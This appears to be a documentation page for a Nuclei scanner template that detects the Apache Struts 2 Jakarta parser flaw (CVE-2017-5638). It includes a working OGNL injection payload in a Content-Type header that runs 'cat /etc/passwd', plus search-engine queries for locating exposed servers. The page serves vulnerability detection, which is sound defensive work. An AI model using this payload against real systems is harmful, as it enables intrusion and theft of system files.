Apache Struts 2 - Remote Command Execution
ID: CVE-2017-5638
Severity: critical
Author: Random_Robbie
Tags: cve2017,cve,apache,kev,msf,struts,rce
Description
Section titled “Description”Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.
YAML Source
Section titled “YAML Source”id: CVE-2017-5638
info: name: Apache Struts 2 - Remote Command Execution author: Random_Robbie severity: critical description: | Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string. impact: | Remote attackers can execute arbitrary commands on the target system. remediation: | Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches. reference: - https://github.com/mazen160/struts-pwn - https://isc.sans.edu/diary/22169 - https://github.com/rapid7/metasploit-framework/issues/8064 - https://nvd.nist.gov/vuln/detail/CVE-2017-5638 - http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2017-5638 cwe-id: CWE-20 epss-score: 0.97542 epss-percentile: 0.99995 cpe: cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: apache product: struts shodan-query: - html:"Apache Struts" - http.title:"struts2 showcase" - http.html:"struts problem report" - http.html:"apache struts" fofa-query: - body="struts problem report" - title="struts2 showcase" - body="apache struts" google-query: intitle:"struts2 showcase" tags: cve2017,cve,apache,kev,msf,struts,rce
http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#[email protected]@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4a0a00473045022031bb760382a37e52ec5123d632994789c2089eaefa8d28febc37b3a08b210503022100afb0f8f74ddad8ce075bae52e47a9a669cacbb28ad00435900a587de22a156ef:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-5638.yaml"